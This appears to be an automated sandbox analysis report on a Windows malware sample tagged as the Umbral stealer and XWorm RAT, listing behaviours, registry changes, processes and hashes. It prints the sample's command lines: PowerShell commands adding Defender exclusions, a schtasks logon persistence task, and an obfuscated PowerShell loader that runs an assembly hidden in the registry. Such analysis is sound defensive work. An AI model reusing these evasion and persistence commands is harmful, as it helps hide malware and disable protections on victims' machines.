Malware Analysis Report

2024-10-10 09:56

Sample ID 240708-we4kks1bqk
Target rootkit.exe
SHA256 f01ae2632bb62a8f559472eaa31a863b82a04821dbdf8adbda7dab3db14d41cc
Tags
umbral xworm evasion execution persistence rat stealer trojan spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f01ae2632bb62a8f559472eaa31a863b82a04821dbdf8adbda7dab3db14d41cc

Threat Level: Known bad

The file rootkit.exe was found to be: Known bad.

Malicious Activity Summary

umbral xworm evasion execution persistence rat stealer trojan spyware

Umbral

Detect Xworm Payload

Xworm

Suspicious use of NtCreateUserProcessOtherParentProcess

Detect Umbral payload

Modifies security service

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Drops startup file

Reads user/profile data of web browsers

Executes dropped EXE

Checks BIOS information in registry

Adds Run key to start application

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Detects videocard installed

Delays execution with timeout.exe

Checks processor information in registry

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Modifies data under HKEY_USERS

Suspicious use of WriteProcessMemory

Checks SCSI registry key(s)

Suspicious use of AdjustPrivilegeToken

Scheduled Task/Job: Scheduled Task

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-08 17:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-08 17:50

Reported

2024-07-08 17:53

Platform

win7-20240704-en

Max time kernel

149s

Max time network

18s

Command Line

winlogon.exe

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies security service

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP C:\Windows\System32\svchost.exe N/A
Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection C:\Windows\System32\svchost.exe N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2612 created 432 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Umbral

stealer umbral

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Windows\CurrentVersion\Run\www.DeadSec0000000000-obfusecator = "C:\\ProgramData\\www.DeadSec0000000000-obfusecator.exe" C:\Users\Admin\AppData\Local\Temp\rootkit.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini C:\Windows\system32\wbem\WMIADAP.EXE N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2612 set thread context of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe

Enumerates physical storage devices

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0b1156f5fd1da01 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 C:\Windows\system32\lsass.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1820 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe
PID 1820 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe
PID 1820 wrote to memory of 696 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe
PID 1820 wrote to memory of 1916 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\Modify.exe
PID 1820 wrote to memory of 1916 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\Modify.exe
PID 1820 wrote to memory of 1916 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Users\Admin\AppData\Local\Temp\Modify.exe
PID 1820 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1820 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1820 wrote to memory of 2356 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1820 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\schtasks.exe
PID 1820 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\schtasks.exe
PID 1820 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\Windows\System32\schtasks.exe
PID 1820 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 1820 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 1820 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 1820 wrote to memory of 2868 N/A C:\Users\Admin\AppData\Local\Temp\rootkit.exe C:\ProgramData\www.DeadSec0000000000-obfusecator.exe
PID 2164 wrote to memory of 2612 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2164 wrote to memory of 2612 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2164 wrote to memory of 2612 N/A C:\Windows\system32\taskeng.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 2612 wrote to memory of 1860 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 1860 wrote to memory of 432 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 1860 wrote to memory of 476 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\services.exe
PID 1860 wrote to memory of 492 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 1860 wrote to memory of 500 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsm.exe
PID 1860 wrote to memory of 592 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1860 wrote to memory of 668 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1860 wrote to memory of 744 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 1860 wrote to memory of 812 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 1860 wrote to memory of 856 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1916 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1916 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1916 wrote to memory of 2280 N/A C:\Users\Admin\AppData\Local\Temp\Modify.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1860 wrote to memory of 968 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1860 wrote to memory of 276 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1860 wrote to memory of 300 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\spoolsv.exe
PID 1860 wrote to memory of 1068 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1860 wrote to memory of 1108 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskhost.exe
PID 1860 wrote to memory of 1172 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\Dwm.exe
PID 1860 wrote to memory of 1204 N/A C:\Windows\System32\dllhost.exe C:\Windows\Explorer.EXE
PID 1860 wrote to memory of 1276 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe
PID 1860 wrote to memory of 1632 N/A C:\Windows\System32\dllhost.exe C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
PID 1860 wrote to memory of 796 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 1860 wrote to memory of 2976 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 1860 wrote to memory of 332 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\sppsvc.exe
PID 1860 wrote to memory of 696 N/A C:\Windows\System32\dllhost.exe C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe
PID 1860 wrote to memory of 1916 N/A C:\Windows\System32\dllhost.exe C:\Users\Admin\AppData\Local\Temp\Modify.exe
PID 1860 wrote to memory of 1816 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\WMIADAP.EXE
PID 1860 wrote to memory of 2164 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskeng.exe
PID 1860 wrote to memory of 2268 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\wmiprvse.exe
PID 1860 wrote to memory of 2280 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE

"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\sppsvc.exe

C:\Users\Admin\AppData\Local\Temp\rootkit.exe

"C:\Users\Admin\AppData\Local\Temp\rootkit.exe"

C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe

"C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe"

C:\Users\Admin\AppData\Local\Temp\Modify.exe

"C:\Users\Admin\AppData\Local\Temp\Modify.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\www.DeadSec0000000000-obfusecator.exe'

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T /R

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /F /TN "www.DeadSec0000000000-obfusecator" /SC ONLOGON /TR "C:\ProgramData\www.DeadSec0000000000-obfusecator.exe" /RL HIGHEST

C:\ProgramData\www.DeadSec0000000000-obfusecator.exe

"C:\ProgramData\www.DeadSec0000000000-obfusecator.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {99BDEF43-BC64-47A1-8CE4-D529125AA6B3} S-1-5-18:NT AUTHORITY\System:Service:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](119)+''+[Char](119)+''+[Char](119)+'s'+[Char](116)+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{56e3b453-7395-4cdc-8189-aff4e36ee1cd}

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Modify.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 142.250.200.3:443 gstatic.com tcp

Files

memory/1820-0-0x000007FEF58E3000-0x000007FEF58E4000-memory.dmp

memory/1820-1-0x0000000000030000-0x000000000007A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe

MD5 737b2d60dc5d475685b65f5c288e00c0
SHA1 144ba7647d8609abe4aab74d4f191e2c594dd55a
SHA256 69c3458a319518d10939633f7421eb833c8c9c904f989f0ef75a572a59a1f084
SHA512 96a22774e1b5c22d9d4114a8f22f1f75cf2edc5970442e1b1e5eabfc70a922d3f4a5e5d8c93150f50ef3da45b241745f861f1d00b306c11707097495b84ecee6

memory/696-11-0x0000000001260000-0x0000000001270000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Modify.exe

MD5 9259d8aef8f52e8ff4fa082c0074c9b0
SHA1 88abb68a5632812be3c18e0c740e3818d9501b3e
SHA256 45d4033eeaa6aa420a644c3eb2d0ef659320c9a13e22d1d16930c807847203db
SHA512 9cb06d4026a53208e80865cdb21d79e40d418518a168680537cafa08f1c295094238014ba35c2b7794a773ac2dc480b01cf5811d5b1e60bf911d7a6d03985ede

memory/1916-15-0x00000000003F0000-0x0000000000430000-memory.dmp

memory/1820-20-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp

memory/696-21-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp

memory/2356-22-0x000000001B470000-0x000000001B752000-memory.dmp

memory/2356-23-0x0000000002820000-0x0000000002828000-memory.dmp

C:\ProgramData\www.DeadSec0000000000-obfusecator.exe

MD5 22d120454dd38d7f1a3f1cd0eb497f95
SHA1 4c11a082bf8e64b21310b959821a9f7324aa8107
SHA256 6fda5bd63e6647c70c7f420b4145898cada9e1a8bff4fca7f6a5859b648d217c
SHA512 1552101b7a22082eb69fe3485c53f595055bfc6db01ed14d4abc6f9cb9793e8ca3bc2f2448741fd8b4616f735c9f4f2e0299dc938d264103107fccbe68dc39a9

memory/1820-30-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp

memory/2612-31-0x0000000019FB0000-0x000000001A292000-memory.dmp

memory/2612-32-0x0000000000980000-0x0000000000988000-memory.dmp

memory/2612-33-0x0000000001400000-0x000000000142A000-memory.dmp

memory/2612-34-0x0000000077590000-0x0000000077739000-memory.dmp

memory/2612-35-0x0000000077370000-0x000000007748F000-memory.dmp

memory/1860-39-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1860-41-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1860-38-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1860-43-0x0000000077370000-0x000000007748F000-memory.dmp

memory/1860-42-0x0000000077590000-0x0000000077739000-memory.dmp

memory/1860-37-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1860-36-0x0000000140000000-0x0000000140008000-memory.dmp

memory/1860-44-0x0000000140000000-0x0000000140008000-memory.dmp

memory/432-50-0x0000000000D20000-0x0000000000D4C000-memory.dmp

memory/432-49-0x0000000000CF0000-0x0000000000D16000-memory.dmp

memory/432-47-0x0000000000CF0000-0x0000000000D16000-memory.dmp

memory/432-57-0x0000000000D20000-0x0000000000D4C000-memory.dmp

memory/432-59-0x00000000375D0000-0x00000000375E0000-memory.dmp

memory/476-73-0x00000000375D0000-0x00000000375E0000-memory.dmp

memory/476-72-0x000007FEBDE70000-0x000007FEBDE80000-memory.dmp

memory/476-71-0x0000000000160000-0x000000000018C000-memory.dmp

memory/492-79-0x00000000001A0000-0x00000000001CC000-memory.dmp

memory/492-87-0x00000000375D0000-0x00000000375E0000-memory.dmp

memory/492-86-0x000007FEBDE70000-0x000007FEBDE80000-memory.dmp

memory/492-85-0x00000000001A0000-0x00000000001CC000-memory.dmp

memory/476-65-0x0000000000160000-0x000000000018C000-memory.dmp

memory/432-58-0x000007FEBDE70000-0x000007FEBDE80000-memory.dmp

memory/432-51-0x0000000000D20000-0x0000000000D4C000-memory.dmp

memory/592-97-0x00000000001E0000-0x000000000020C000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 b72a95ef479ac2bfdf8a3e730b3b6d63
SHA1 5399429e532e8227ffa90f453263da25aa42876a
SHA256 be097e9de01d7db57f8d1f569ce069300c8b7536bcdaf21a14e54edbfbd32526
SHA512 67d39d69f12ab42169d3d0986b73377894c304318c9ed1833406fc86041cdf779131cf3ffc2c2acb72440de586e609541809e47bf8d55d9f41e264b68fdcca12

memory/2280-156-0x00000000022C0000-0x00000000022C8000-memory.dmp

memory/696-225-0x000007FEF58E0000-0x000007FEF62CC000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-08 17:50

Reported

2024-07-08 17:53

Platform

win10v2004-20240704-en

Max time kernel

76s

Max time network

158s

Command Line

winlogon.exe

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 3876 created 612 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\winlogon.exe

Umbral

stealer umbral

Xworm

trojan rat xworm

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Modify.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\rootkit.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\www.DeadSec0000000000-obfusecator = "C:\\ProgramData\\www.DeadSec0000000000-obfusecator.exe" C:\Users\Admin\AppData\Local\Temp\rootkit.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-587429654-1855694383-2268796072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" C:\Users\Admin\AppData\Local\Temp\www.DeadSecObbbfuscation.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 C:\Windows\system32\svchost.exe N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx C:\Windows\System32\svchost.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3876 set thread context of 4012 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 C:\Windows\system32\wbem\wmiprvse.exe N/A
